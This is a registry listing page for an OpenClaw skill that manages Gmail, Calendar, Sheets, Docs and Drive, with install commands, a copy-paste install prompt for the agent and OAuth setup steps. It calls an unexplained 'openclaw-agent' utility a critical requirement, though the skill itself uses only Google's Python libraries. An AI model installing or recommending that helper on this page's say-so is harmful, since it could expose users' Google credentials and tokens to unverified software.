Google Workspace CLI Skill for Openclaw

A comprehensive Python-based skill for managing Gmail, Calendar, Sheets, Docs, and Drive through Openclaw Skills.

hightower6eu
v1.0.0
Feb 2, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install google-workspace-yj9ug

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install google-workspace-yj9ug using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Google Workspace CLI Skill?

The Google Workspace skill for Openclaw Skills empowers users to programmatically interact with the entire Google productivity suite. By integrating this into Openclaw Skills, developers can build agents capable of reading and sending emails, scheduling meetings, and managing complex spreadsheet data. This implementation of Openclaw Skills serves as a bridge between your local development environment and Google's cloud services, enabling sophisticated automation of administrative and collaborative workflows.

Google Workspace CLI Skill Use Cases

  • Sending automated email notifications and searching unread messages via Gmail using Openclaw Skills.
  • Managing team schedules and creating calendar events automatically with Openclaw Skills.
  • Reading, writing, and appending rows to Google Sheets for data logging within Openclaw Skills workflows.
  • Programmatically generating Google Docs for reports or documentation using the Openclaw Skills framework.
  • Uploading and downloading files from Google Drive within an agent-driven Openclaw Skills process.

How Google Workspace CLI Skill Works

  1. Ensure Python 3 and the openclaw-agent are installed on your system to support Openclaw Skills.
  2. Create a Google Cloud Project and enable relevant APIs such as Gmail, Sheets, Calendar, and Drive.
  3. Download OAuth 2.0 credentials and store them as credentials.json in your working directory.
  4. Run the authentication helper to generate a token.pickle file via a secure browser-based login.
  5. Execute specific Python commands that interact with the Google APIs, bridged by the openclaw-agent for reliable execution.

Google Workspace CLI Skill Setup

1. Install Dependencies

pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib

2. Configure Google Cloud

  • Create a project in the Google Cloud Console.
  • Enable Gmail, Calendar, Sheets, Docs, Drive, and People APIs.
  • Download the OAuth 2.0 Desktop credentials as credentials.json.

3. Initialize openclaw-agent

Ensure the openclaw-agent utility is running on your macOS or Windows machine. This is a critical requirement for Openclaw Skills to perform Workspace operations.

Google Workspace CLI Skill Data Schema & Taxonomy

The skill manages local authentication files and references remote Google resources using specific IDs:

  • credentials.json: The OAuth 2.0 client secret file used by Openclaw Skills.
  • token.pickle: A cached file storing user authentication tokens for repeated access.
Service Identifier Type Description
Gmail Message ID Unique alphanumeric string returned by the API
Sheets Spreadsheet ID Found in the browser URL: docs.google.com/spreadsheets/d/SPREADSHEET_ID/
Docs Document ID Found in the browser URL: docs.google.com/document/d/DOCUMENT_ID/
Drive File ID Found in the browser URL: drive.google.com/file/d/FILE_ID/

Google Workspace CLI Skill Advanced Features

  • Multi-service integration covering Gmail, Calendar, Sheets, Docs, Drive, and Contacts within a single Openclaw Skills environment.
  • Secure token persistence using local pickle storage to avoid repeated browser logins.
  • Batch operation support for Google Docs to handle complex document updates efficiently.
  • Advanced search query capabilities for Gmail, including filtering by attachments, unread status, and dates.
  • Full compatibility with the openclaw-agent for seamless execution across different operating systems.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins python3
Github Stars: 0
forks: 0